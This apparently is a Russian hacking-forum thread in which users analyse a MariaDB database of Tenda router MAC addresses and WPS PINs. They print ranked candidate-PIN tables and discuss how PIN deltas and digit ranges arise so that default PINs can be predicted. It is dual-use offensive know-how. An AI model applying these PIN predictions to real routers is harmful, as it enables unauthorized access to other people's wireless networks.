|7) 04:95:E6:62:F5:B8, +2784, 1545 пар, 213 уникальных дельт (1:7.25), 86 мажорных(вес 91.8%)
|8) 04:95:E6:62:F9:80, +3752, 1227 пар, 177 уникальных дельт (1:6.93), 38 мажорных(вес 88.7%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 1138 пинов, из них 1 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.49 общая, 1.00 у перекрёстных.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 764 фёст-халфов, 1 полно-перекрёстных (вес 16.3%, 56.0% в ТОП-8).
|---------------------------------------------------------------------------------------------|
1 row in set (2.02 sec)

+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 9226 | 7 | 7 | 2502 | 566 | 342 | 176 | 234 | 592 | 369 | 222 | 1 |
| 2 | 9291 | 6 | 6 | 3210 | 219 | 939 | 493 | 939 | 176 | 113 | 331 | 0 |
| 3 | 291 | 6 | 6 | 552 | 50 | 161 | 73 | 162 | 45 | 11 | 50 | 0 |
| 4 | 226 | 6 | 6 | 467 | 129 | 55 | 29 | 39 | 120 | 61 | 34 | 0 |
| 5 | 8226 | 6 | 6 | 302 | 62 | 30 | 37 | 25 | 50 | 72 | 26 | 0 |
| 6 | 8291 | 5 | 6 | 337 | 16 | 74 | 86 | 85 | 16 | 19 | 41 | 0 |
| 7 | 6003 | 4 | 4 | 835 | 435 | 46 | 0 | 38 | 124 | 0 | 192 | 0 |
| 8 | 6069 | 4 | 4 | 368 | 40 | 102 | 0 | 30 | 20 | 0 | 176 | 0 |
| 9 | 6068 | 4 | 4 | 358 | 106 | 44 | 0 | 80 | 28 | 0 | 100 | 0 |
| 10 | 5003 | 4 | 4 | 209 | 60 | 37 | 0 | 33 | 61 | 0 | 18 | 0 |
| 11 | 5069 | 4 | 4 | 129 | 7 | 75 | 0 | 20 | 12 | 0 | 15 | 0 |
| 12 | 5068 | 4 | 4 | 128 | 16 | 31 | 0 | 57 | 13 | 0 | 11 | 0 |
| 13 | 9160 | 3 | 3 | 728 | 212 | 11 | 0 | 0 | 330 | 175 | 0 | 0 |
| 14 | 9292 | 3 | 3 | 192 | 0 | 146 | 0 | 0 | 13 | 10 | 23 | 0 |
| 15 | 160 | 3 | 3 | 118 | 32 | 2 | 0 | 0 | 62 | 22 | 0 | 0 |
| 16 | 8160 | 3 | 3 | 83 | 26 | 3 | 0 | 0 | 31 | 23 | 0 | 0 |
| 17 | 8292 | 3 | 3 | 19 | 0 | 13 | 0 | 0 | 1 | 1 | 4 | 0 |
| 18 | 6028 | 3 | 3 | 7 | 1 | 1 | 4 | 1 | 0 | 0 | 0 | 0 |
| 19 | 292 | 2 | 3 | 37 | 0 | 30 | 0 | 0 | 3 | 1 | 3 | 0 |
| 20 | 5937 | 2 | 2 | 140 | 103 | 2 | 0 | 0 | 35 | 0 | 0 | 0 |
| 21 | 9225 | 2 | 2 | 123 | 41 | 0 | 52 | 30 | 0 | 0 | 0 | 0 |
| 22 | 9357 | 2 | 2 | 119 | 0 | 0 | 33 | 42 | 0 | 0 | 44 | 0 |
| 23 | 225 | 2 | 2 | 21 | 7 | 0 | 9 | 5 | 0 | 0 | 0 | 0 |
| 24 | 4938 | 2 | 2 | 20 | 5 | 3 | 0 | 0 | 12 | 0 | 0 | 0 |
| 25 | 357 | 2 | 2 | 19 | 0 | 0 | 1 | 9 | 0 | 0 | 9 | 0 |
| 26 | 9161 | 2 | 2 | 19 | 0 | 2 | 0 | 0 | 13 | 4 | 0 | 0 |
| 27 | 211 | 2 | 2 | 3 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 |
| 28 | 8240 | 1 | 3 | 6 | 1 | 1 | 2 | 2 | 0 | 0 | 0 | 0 |
| 29 | 8447 | 1 | 3 | 6 | 0 | 3 | 0 | 1 | 1 | 0 | 1 | 0 |
| 30 | 5938 | 1 | 2 | 72 | 39 | 1 | 0 | 0 | 32 | 0 | 0 | 0 |
| 31 | 8357 | 1 | 2 | 11 | 0 | 0 | 3 | 5 | 0 | 0 | 3 | 0 |
| 32 | 5922 | 1 | 2 | 5 | 0 | 3 | 0 | 1 | 0 | 0 | 1 | 0 |
| 33 | 431 | 1 | 2 | 3 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 |
| 34 | 3485 | 1 | 2 | 3 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 |
| 35 | 8680 | 1 | 2 | 3 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 |
| 36 | 2514 | 1 | 1 | 581 | 0 | 0 | 475 | 0 | 0 | 106 | 0 | 0 |
| 37 | 2449 | 1 | 1 | 433 | 0 | 0 | 76 | 0 | 0 | 357 | 0 | 0 |
| 38 | 2448 | 1 | 1 | 203 | 0 | 0 | 181 | 0 | 0 | 22 | 0 | 0 |
| 39 | 3514 | 1 | 1 | 101 | 0 | 0 | 87 | 0 | 0 | 14 | 0 | 0 |
| 40 | 1449 | 1 | 1 | 79 | 0 | 0 | 15 | 0 | 0 | 64 | 0 | 0 |
| 41 | 1514 | 1 | 1 | 78 | 0 | 0 | 67 | 0 | 0 | 11 | 0 | 0 |
| 42 | 3449 | 1 | 1 | 75 | 0 | 0 | 10 | 0 | 0 | 65 | 0 | 0 |
| 43 | 6134 | 1 | 1 | 40 | 0 | 0 | 0 | 4 | 0 | 0 | 36 | 0 |
| 44 | 3448 | 1 | 1 | 31 | 0 | 0 | 26 | 0 | 0 | 5 | 0 | 0 |
| 45 | 1448 | 1 | 1 | 30 | 0 | 0 | 26 | 0 | 0 | 4 | 0 | 0 |
| 46 | 4937 | 1 | 1 | 22 | 9 | 0 | 0 | 0 | 13 | 0 | 0 | 0 |
| 47 | 8225 | 1 | 1 | 17 | 6 | 0 | 11 | 0 | 0 | 0 | 0 | 0 |
| 48 | 5134 | 1 | 1 | 7 | 0 | 0 | 0 | 2 | 0 | 0 | 5 | 0 |
| 49 | 9356 | 1 | 1 | 7 | 0 | 0 | 4 | 3 | 0 | 0 | 0 | 0 |
| 50 | 2489 | 1 | 1 | 6 | 0 | 0 | 0 | 0 | 3 | 0 | 3 | 0 |
| 51 | 2423 | 1 | 1 | 4 | 0 | 0 | 0 | 0 | 3 | 0 | 1 | 0 |
| 52 | 2740 | 1 | 1 | 4 | 3 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
| 53 | 9145 | 1 | 1 | 4 | 0 | 0 | 3 | 1 | 0 | 0 | 0 | 0 |
| 54 | 5097 | 1 | 1 | 3 | 0 | 2 | 0 | 0 | 1 | 0 | 0 | 0 |
| 55 | 9788 | 1 | 1 | 3 | 0 | 0 | 0 | 1 | 0 | 2 | 0 | 0 |
| 56 | 767 | 1 | 1 | 2 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 |
| 57 | 3654 | 1 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 58 | 3816 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 59 | 5851 | 1 | 1 | 2 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 |
| 60 | 6552 | 1 | 1 | 2 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
| 61 | 8041 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 |
| 62 | 9335 | 1 | 1 | 2 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 |
| 63 | 9431 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 |
| 64 | 9943 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
64 rows in set (0.00 sec)

MariaDB [Tenda]> select tenda_pin8('04:95:E6:62:EA:D8,,,2');select * from tmp_TendaHalfs where X;
*************************** 1. row ***************************
tenda_pin8('04:95:E6:62:EA:D8,,,2'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:62:E9:48, -400, 2363 пар, 200 уникальных дельт (1:11.8), 10 мажорных(вес 95.9%)
|2) 04:95:E6:62:E8:C0, -536, 2241 пар, 163 уникальных дельт (1:13.7), 67 мажорных(вес 95.7%)
|3) 04:95:E6:62:E7:30, -936, 2117 пар, 179 уникальных дельт (1:11.8), 71 мажорных(вес 94.9%)
|4) 04:95:E6:62:E6:48, -1168, 2019 пар, 174 уникальных дельт (1:11.6), 62 мажорных(вес 94.5%)
|5) 04:95:E6:62:F0:38, +1376, 1965 пар, 195 уникальных дельт (1:10.1), 87 мажорных(вес 94.5%)
|6) 04:95:E6:62:F1:00, +1576, 1831 пар, 169 уникальных дельт (1:10.8), 62 мажорных(вес 94.2%)
|7) 04:95:E6:62:F5:B8, +2784, 1545 пар, 213 уникальных дельт (1:7.25), 86 мажорных(вес 91.8%)
|8) 04:95:E6:62:F9:98, +3776, 1251 пар, 167 уникальных дельт (1:7.49), 39 мажорных(вес 89.8%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 1096 пинов, из них 5 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.49 общая, 1.00 у перекрёстных.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 736 фёст-халфов, 5 полно-перекрёстных (вес 50.9%, 55.4% в ТОП-8).
|---------------------------------------------------------------------------------------------|
1 row in set (2.02 sec)

+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 9291 | 7 | 7 | 3401 | 219 | 939 | 493 | 939 | 176 | 113 | 331 | 191 |
| 2 | 9226 | 7 | 7 | 3029 | 566 | 342 | 176 | 234 | 592 | 369 | 222 | 528 |
| 3 | 291 | 7 | 7 | 556 | 50 | 161 | 73 | 162 | 45 | 11 | 50 | 4 |
| 4 | 226 | 7 | 7 | 500 | 129 | 55 | 29 | 39 | 120 | 61 | 34 | 33 |
| 5 | 8226 | 7 | 7 | 316 | 62 | 30 | 37 | 25 | 50 | 72 | 26 | 14 |
| 6 | 8291 | 6 | 7 | 340 | 16 | 74 | 86 | 85 | 16 | 19 | 41 | 3 |
| 7 | 5003 | 5 | 5 | 221 | 60 | 37 | 0 | 33 | 61 | 0 | 18 | 12 |
| 8 | 5069 | 5 | 5 | 132 | 7 | 75 | 0 | 20 | 12 | 0 | 15 | 3 |
| 9 | 9160 | 4 | 4 | 877 | 212 | 11 | 0 | 0 | 330 | 175 | 0 | 149 |
| 10 | 6003 | 4 | 4 | 835 | 435 | 46 | 0 | 38 | 124 | 0 | 192 | 0 |
| 11 | 6069 | 4 | 4 | 368 | 40 | 102 | 0 | 30 | 20 | 0 | 176 | 0 |
| 12 | 6068 | 4 | 4 | 358 | 106 | 44 | 0 | 80 | 28 | 0 | 100 | 0 |
| 13 | 9292 | 4 | 4 | 256 | 0 | 146 | 0 | 0 | 13 | 10 | 23 | 64 |
| 14 | 5068 | 4 | 4 | 128 | 16 | 31 | 0 | 57 | 13 | 0 | 11 | 0 |
| 15 | 160 | 4 | 4 | 127 | 32 | 2 | 0 | 0 | 62 | 22 | 0 | 9 |
| 16 | 8160 | 4 | 4 | 88 | 26 | 3 | 0 | 0 | 31 | 23 | 0 | 5 |
| 17 | 292 | 3 | 4 | 40 | 0 | 30 | 0 | 0 | 3 | 1 | 3 | 3 |
| 18 | 9161 | 3 | 3 | 82 | 0 | 2 | 0 | 0 | 13 | 4 | 0 | 63 |
| 19 | 4938 | 3 | 3 | 23 | 5 | 3 | 0 | 0 | 12 | 0 | 0 | 3 |
| 20 | 8292 | 3 | 3 | 19 | 0 | 13 | 0 | 0 | 1 | 1 | 4 | 0 |
| 21 | 6028 | 3 | 3 | 7 | 1 | 1 | 4 | 1 | 0 | 0 | 0 | 0 |
| 22 | 211 | 2 | 3 | 4 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 1 |
| 23 | 5937 | 2 | 2 | 140 | 103 | 2 | 0 | 0 | 35 | 0 | 0 | 0 |
| 24 | 9225 | 2 | 2 | 123 | 41 | 0 | 52 | 30 | 0 | 0 | 0 | 0 |
| 25 | 9357 | 2 | 2 | 119 | 0 | 0 | 33 | 42 | 0 | 0 | 44 | 0 |
| 26 | 225 | 2 | 2 | 21 | 7 | 0 | 9 | 5 | 0 | 0 | 0 | 0 |
| 27 | 357 | 2 | 2 | 19 | 0 | 0 | 1 | 9 | 0 | 0 | 9 | 0 |
| 28 | 5922 | 1 | 3 | 6 | 0 | 3 | 0 | 1 | 0 | 0 | 1 | 1 |
| 29 | 8240 | 1 | 3 | 6 | 1 | 1 | 2 | 2 | 0 | 0 | 0 | 0 |
| 30 | 8447 | 1 | 3 | 6 | 0 | 3 | 0 | 1 | 1 | 0 | 1 | 0 |
| 31 | 8680 | 1 | 3 | 4 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 |
| 32 | 5938 | 1 | 2 | 72 | 39 | 1 | 0 | 0 | 32 | 0 | 0 | 0 |
| 33 | 8357 | 1 | 2 | 11 | 0 | 0 | 3 | 5 | 0 | 0 | 3 | 0 |
| 34 | 2489 | 1 | 2 | 7 | 0 | 0 | 0 | 0 | 3 | 0 | 3 | 1 |
| 35 | 9145 | 1 | 2 | 5 | 0 | 0 | 3 | 1 | 0 | 0 | 0 | 1 |
| 36 | 431 | 1 | 2 | 3 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 |
| 37 | 3485 | 1 | 2 | 3 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 |
| 38 | 9702 | 1 | 2 | 3 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 |
| 39 | 2514 | 1 | 1 | 581 | 0 | 0 | 475 | 0 | 0 | 106 | 0 | 0 |
| 40 | 2449 | 1 | 1 | 433 | 0 | 0 | 76 | 0 | 0 | 357 | 0 | 0 |
| 41 | 2448 | 1 | 1 | 203 | 0 | 0 | 181 | 0 | 0 | 22 | 0 | 0 |
| 42 | 3514 | 1 | 1 | 101 | 0 | 0 | 87 | 0 | 0 | 14 | 0 | 0 |
| 43 | 1449 | 1 | 1 | 79 | 0 | 0 | 15 | 0 | 0 | 64 | 0 | 0 |
| 44 | 1514 | 1 | 1 | 78 | 0 | 0 | 67 | 0 | 0 | 11 | 0 | 0 |
| 45 | 3449 | 1 | 1 | 75 | 0 | 0 | 10 | 0 | 0 | 65 | 0 | 0 |
| 46 | 6134 | 1 | 1 | 40 | 0 | 0 | 0 | 4 | 0 | 0 | 36 | 0 |
| 47 | 3448 | 1 | 1 | 31 | 0 | 0 | 26 | 0 | 0 | 5 | 0 | 0 |
| 48 | 1448 | 1 | 1 | 30 | 0 | 0 | 26 | 0 | 0 | 4 | 0 | 0 |
| 49 | 4937 | 1 | 1 | 22 | 9 | 0 | 0 | 0 | 13 | 0 | 0 | 0 |
| 50 | 8225 | 1 | 1 | 17 | 6 | 0 | 11 | 0 | 0 | 0 | 0 | 0 |
| 51 | 5134 | 1 | 1 | 7 | 0 | 0 | 0 | 2 | 0 | 0 | 5 | 0 |
| 52 | 9356 | 1 | 1 | 7 | 0 | 0 | 4 | 3 | 0 | 0 | 0 | 0 |
| 53 | 161 | 1 | 1 | 5 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
| 54 | 2423 | 1 | 1 | 4 | 0 | 0 | 0 | 0 | 3 | 0 | 1 | 0 |
| 55 | 2740 | 1 | 1 | 4 | 3 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
| 56 | 5097 | 1 | 1 | 3 | 0 | 2 | 0 | 0 | 1 | 0 | 0 | 0 |
| 57 | 7745 | 1 | 1 | 3 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
| 58 | 9788 | 1 | 1 | 3 | 0 | 0 | 0 | 1 | 0 | 2 | 0 | 0 |
| 59 | 767 | 1 | 1 | 2 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 |
| 60 | 2793 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 |
| 61 | 3654 | 1 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 62 | 3816 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 63 | 5851 | 1 | 1 | 2 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 |
| 64 | 6552 | 1 | 1 | 2 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
| 65 | 8041 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 |
| 66 | 9335 | 1 | 1 | 2 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 |
| 67 | 9431 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 |
| 68 | 9943 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
68 rows in set (0.00 sec)

А первая "виновница" (04:95:E6:62:F0:40) после этого вообще не нашлась, не смотря на наличие близких опорных точек (точнее, она чудом нашлась на 326-м месте: по минорной дельте и только на одном из 8 векторов):

tenda_pin8('04:95:E6:62:F0:40,,,2'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:62:F0:38, -8, 5760 пар, 117 уникальных дельт (1:49.2), 44 мажорных(вес 98.7%)
|2) 04:95:E6:62:F1:00, +192, 2967 пар, 187 уникальных дельт (1:15.9), 90 мажорных(вес 96.7%)
|3) 04:95:E6:62:F5:B8, +1400, 1916 пар, 139 уникальных дельт (1:13.8), 43 мажорных(вес 95.0%)
|4) 04:95:E6:62:E9:48, -1784, 1740 пар, 150 уникальных дельт (1:11.6), 64 мажорных(вес 95.1%)
|5) 04:95:E6:62:E8:C0, -1920, 1794 пар, 194 уникальных дельт (1:9.25), 74 мажорных(вес 93.3%)
|6) 04:95:E6:62:E7:30, -2320, 1629 пар, 165 уникальных дельт (1:9.90), 56 мажорных(вес 93.3%)
|7) 04:95:E6:62:F9:98, +2392, 1645 пар, 167 уникальных дельт (1:9.90), 75 мажорных(вес 94.4%)
|8) 04:95:E6:62:E6:48, -2552, 1599 пар, 180 уникальных дельт (1:8.88), 71 мажорных(вес 93.2%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 942 пинов, из них 4 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.44 общая, 2.00 у перекрёстных.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 653 фёст-халфов, 2 полно-перекрёстных (вес 26.5%, 69.7% в ТОП-8).
|---------------------------------------------------------------------------------------------|
1 row in set (2.07 sec)

+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 2737 | 7 | 7 | 4470 | 1456 | 283 | 541 | 256 | 717 | 287 | 439 | 491 |
| 2 | 1737 | 7 | 7 | 578 | 54 | 63 | 55 | 25 | 125 | 76 | 102 | 78 |
| 3 | 2671 | 6 | 6 | 6079 | 3938 | 323 | 234 | 789 | 202 | 0 | 431 | 162 |
| 4 | 1671 | 6 | 6 | 386 | 81 | 65 | 31 | 63 | 38 | 0 | 79 | 29 |
| 5 | 2802 | 5 | 5 | 985 | 21 | 0 | 292 | 29 | 252 | 25 | 0 | 366 |
| 6 | 3737 | 5 | 5 | 295 | 18 | 0 | 113 | 36 | 48 | 0 | 45 | 35 |
| 7 | 6960 | 5 | 5 | 273 | 11 | 120 | 0 | 0 | 43 | 28 | 47 | 24 |
| 8 | 6959 | 5 | 5 | 210 | 15 | 26 | 0 | 0 | 17 | 111 | 7 | 34 |
| 9 | 5960 | 4 | 6 | 748 | 1 | 493 | 0 | 1 | 1 | 159 | 92 | 1 |
| 10 | 3671 | 4 | 5 | 271 | 49 | 0 | 45 | 126 | 10 | 0 | 33 | 8 |
| 11 | 6894 | 4 | 4 | 265 | 48 | 147 | 0 | 0 | 20 | 0 | 36 | 14 |
| 12 | 5959 | 3 | 3 | 684 | 0 | 108 | 0 | 0 | 0 | 555 | 14 | 7 |
| 13 | 2736 | 3 | 3 | 192 | 0 | 0 | 7 | 51 | 0 | 41 | 0 | 93 |
| 14 | 3802 | 3 | 3 | 135 | 0 | 0 | 71 | 5 | 22 | 0 | 0 | 37 |
| 15 | 1802 | 3 | 3 | 123 | 0 | 0 | 21 | 0 | 42 | 10 | 0 | 50 |
| 16 | 7025 | 3 | 3 | 56 | 1 | 0 | 0 | 0 | 17 | 15 | 0 | 23 |
| 17 | 1736 | 3 | 3 | 32 | 0 | 0 | 1 | 3 | 0 | 9 | 0 | 19 |
| 18 | 1686 | 2 | 4 | 7 | 1 | 0 | 1 | 0 | 1 | 0 | 2 | 2 |
| 19 | 2328 | 2 | 3 | 4 | 1 | 0 | 1 | 1 | 0 | 0 | 1 | 0 |
| 20 | 5894 | 2 | 2 | 763 | 0 | 667 | 0 | 0 | 0 | 0 | 95 | 1 |
| 21 | 3736 | 2 | 2 | 17 | 0 | 0 | 3 | 9 | 0 | 0 | 0 | 5 |
| 22 | 2532 | 2 | 2 | 3 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 |
| 23 | 5300 | 2 | 2 | 3 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 |
.................................................. .....
| 326 | 3079 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |

+------+------+------+------+------+------+------+------+------+------+------+------+------+
653 rows in set (0.00 sec)

Всё это очень странно: ведь все эти дельты довольно хорошо изучены, а искомый пин высокомажорный по всем 8 "правильным" векторам, в т.ч. и от дальних точек (см. идилию)

Но ещё более странно, что точки-изгои неплохо ладят между собой, т.е. имеют немало DelpaPIN-ов, мажорных в узком кругу.

PS

Вообще, база плохо отфильтрована от нецелевых устройств (похоже, что ни кто, кроме меня, этим не занимается?) Но здесь, видимо, что-то другое...

Monohrom
26.06.2020, 19:00
Любопытно: где это видно, и что представляют из себя переполнение и ноль?



DeltaPIN идёт от некого минимального значения до максимального, при достижении максимального значения(похоже что 10 000000), отчёт DeltaPIN опять идёт от минимального.

Isica
26.06.2020, 22:59
DeltaPIN идёт от некого минимального значения до максимального, при достижении максимального значения(похоже что 10 000000), отчёт DeltaPIN опять идёт от минимального.



Любопытное утверждение. Позволю два уточнения.

Во-первых, в виду недопустимости пинов select PIN,count(*) n, OUI from TendaAll where Model like '%Realtek%' group by PIN, OUI having count(*)>1 order by OUI,n desc,PIN;
+---------+-----+----------+
| PIN | n | OUI |
+---------+-----+----------+
| 1109829 | 2 | 04:95:E6 |
| 1157048 | 2 | 04:95:E6 |
| 1240787 | 2 | 04:95:E6 |
| 1415659 | 2 | 04:95:E6 |
| 1495317 | 2 | 04:95:E6 |
| 1520663 | 2 | 04:95:E6 |
| 1652992 | 2 | 04:95:E6 |
| 1836034 | 2 | 04:95:E6 |
| 2180088 | 2 | 04:95:E6 |
| 2328789 | 2 | 04:95:E6 |
| 2509493 | 2 | 04:95:E6 |
| 2900908 | 2 | 04:95:E6 |
| 3486385 | 2 | 04:95:E6 |
| 3769849 | 2 | 04:95:E6 |
| 4013884 | 2 | 04:95:E6 |
| 4148264 | 2 | 04:95:E6 |
| 4438413 | 2 | 04:95:E6 |
| 5100253 | 2 | 04:95:E6 |
| 5662879 | 2 | 04:95:E6 |
| 7844237 | 2 | 04:95:E6 |
| 8174226 | 2 | 04:95:E6 |
| 1631601 | 2 | 58:D9:D5 |
| 1949874 | 2 | 58:D9:D5 |
| 2403314 | 2 | 58:D9:D5 |
| 2504692 | 2 | 58:D9:D5 |
| 3705126 | 2 | 58:D9:D5 |
| 6168261 | 2 | 58:D9:D5 |
| 6520783 | 2 | 58:D9:D5 |
| 6768474 | 2 | 58:D9:D5 |
| 6979098 | 9 | C8:3A:35 |
| 2929417 | 6 | C8:3A:35 |
| 1039679 | 4 | C8:3A:35 |
| 2670769 | 4 | C8:3A:35 |
| 6427495 | 4 | C8:3A:35 |
| 1316654 | 2 | C8:3A:35 |
| 1369832 | 2 | C8:3A:35 |
| 2062318 | 2 | C8:3A:35 |
| 2685462 | 2 | C8:3A:35 |
| 3793415 | 2 | C8:3A:35 |
| 4977629 | 2 | C8:3A:35 |
| 5333504 | 2 | C8:3A:35 |
| 5375759 | 2 | C8:3A:35 |
| 5434478 | 2 | C8:3A:35 |
| 8440660 | 2 | C8:3A:35 |
| 8592905 | 2 | C8:3A:35 |
| 1381242 | 2 | CC:2D:21 |
| 5826976 | 2 | CC:2D:21 |
| 2929417 | 470 | D8:32:14 |
| 1197325 | 2 | D8:32:14 |
| 1664893 | 2 | D8:32:14 |
| 2855462 | 2 | D8:32:14 |
| 4617319 | 2 | D8:32:14 |
| 6242214 | 2 | D8:32:14 |
| 1476259 | 2 | E8:65:D4 |
| 3229885 | 2 | E8:65:D4 |
+---------+-----+----------+
55 rows in set (0.22 sec)

MariaDB [Tenda]> select PIN,count(*) n,group_concat(distinct(OUI)) OUIs from TendaAll where Model like '%Realtek%' group by PIN having count(*)-count(distinct(OUI)) order by n,PIN;
+---------+-----+-------------------------------------+
| PIN | n | OUIs |
+---------+-----+-------------------------------------+
| 1109829 | 2 | 04:95:E6 |
| 1157048 | 2 | 04:95:E6 |
| 1197325 | 2 | D8:32:14 |
| 1240787 | 2 | 04:95:E6 |
| 1316654 | 2 | C8:3A:35 |
| 1369832 | 2 | C8:3A:35 |
| 1381242 | 2 | CC:2D:21 |
| 1415659 | 2 | 04:95:E6 |
| 1476259 | 2 | E8:65:D4 |
| 1495317 | 2 | 04:95:E6 |
| 1520663 | 2 | 04:95:E6 |
| 1631601 | 2 | 58:D9:D5 |
| 1652992 | 2 | 04:95:E6 |
| 1664893 | 2 | D8:32:14 |
| 1836034 | 2 | 04:95:E6 |
| 1949874 | 2 | 58:D9:D5 |
| 2062318 | 2 | C8:3A:35 |
| 2180088 | 2 | 04:95:E6 |
| 2328789 | 2 | 04:95:E6 |
| 2403314 | 2 | 58:D9:D5 |
| 2504692 | 2 | 58:D9:D5 |
| 2509493 | 2 | 04:95:E6 |
| 2685462 | 2 | C8:3A:35 |
| 2855462 | 2 | D8:32:14 |
| 2900908 | 2 | 04:95:E6 |
| 3229885 | 2 | E8:65:D4 |
| 3486385 | 2 | 04:95:E6 |
| 3705126 | 2 | 58:D9:D5 |
| 3769849 | 2 | 04:95:E6 |
| 3793415 | 2 | C8:3A:35 |
| 4013884 | 2 | 04:95:E6 |
| 4148264 | 2 | 04:95:E6 |
| 4438413 | 2 | 04:95:E6 |
| 4617319 | 2 | D8:32:14 |
| 4977629 | 2 | C8:3A:35 |
| 5100253 | 2 | 04:95:E6 |
| 5333504 | 2 | C8:3A:35 |
| 5375759 | 2 | C8:3A:35 |
| 5434478 | 2 | C8:3A:35 |
| 5662879 | 2 | 04:95:E6 |
| 5826976 | 2 | CC:2D:21 |
| 6168261 | 2 | 58:D9:D5 |
| 6242214 | 2 | D8:32:14 |
| 6520783 | 2 | 58:D9:D5 |
| 6768474 | 2 | 58:D9:D5 |
| 7844237 | 2 | 04:95:E6 |
| 8174226 | 2 | 04:95:E6 |
| 8440660 | 2 | C8:3A:35 |
| 8592905 | 2 | C8:3A:35 |
| 1039679 | 4 | C8:3A:35 |
| 2670769 | 4 | C8:3A:35 |
| 6427495 | 6 | 58:D9:D5,C8:3A:35,08:40:F3 |
| 6979098 | 9 | C8:3A:35 |
| 2929417 | 478 | 04:95:E6,CC:2D:21,D8:32:14,C8:3A:35 |
+---------+-----+-------------------------------------+
54 rows in set (0.75 sec)

]
[/CODE]

Monohrom
27.06.2020, 00:51
Любопытное утверждение. Позволю два уточнения.

Во-первых, в виду недопустимости пинов < 10^6, DeltaPIN ограничен диапазоном 0 to 8 999999.

Во-вторых, почти все пины в пределах UOI уникальны, а повторы крайне редки:



Cогласен. Ещё бы понять какую роль играет число 195528 так как похоже что часть дельт получено путем сложения этого числа cамим с собой.

Например:

195528 + 195528 = 391056

Я на пин-коды не смотрел. Меня больше интересовал алгоритм генерации DeltaPIN.

Оффтоп: на гитхабе есть достаточно подробные исходники Тенды. Если кому интересно покопаться то вот ссылка:https://github.com/7felix7/Tenda-AC

Isica
27.06.2020, 03:22
Monohrom

Вы б лучше поглядели, как происходит уклонение от недопустимого диапазона PIN. Поскольку это, на мой взгляд, является основным источником флуктаций DeltaPIN, особенно на дальних дистанциях (больших DeltaMAC).

up

Вот ещё немного статистики (так наверное ни кто не смотрел):


MariaDB [Tenda]> select left(pin,1) p1, count(*) n from TendaAll where not Off group by p1 order by n desc;
+----+-------+
| p1 | n |
+----+-------+
| 1 | 12753 |
| 3 | 6285 |
| 2 | 6259 |
| 5 | 6250 |
| 4 | 6238 |
| 6 | 5577 |
| 7 | 3187 |
| 8 | 3162 |
| 9 | 3098 |
+----+-------+
9 rows in set (0.13 sec)

Очевидны 4 диапазона, причём цифры любопытные: если второй диапазон принять за 100%, то получим:

1 -- 200% (почти точно!)

2:5 -- 100% (по определению);

6 -- 89%;

7:9 -- 50% (почти точно!)

Я то догадываюсь, откуда берутся единицы, но непонятно, куда деваются 6+

TOX1C
27.06.2020, 21:17
но непонятно, куда деваются 6+



Где-то в ветке уже писал, по какому принципу формируются цепочки.

Пинкоды генерируются в шестнадцатеричном формате.

Сначала идет 0, который заменяется на 1, а потом еще раз 1.

Отсюда 200% у единички

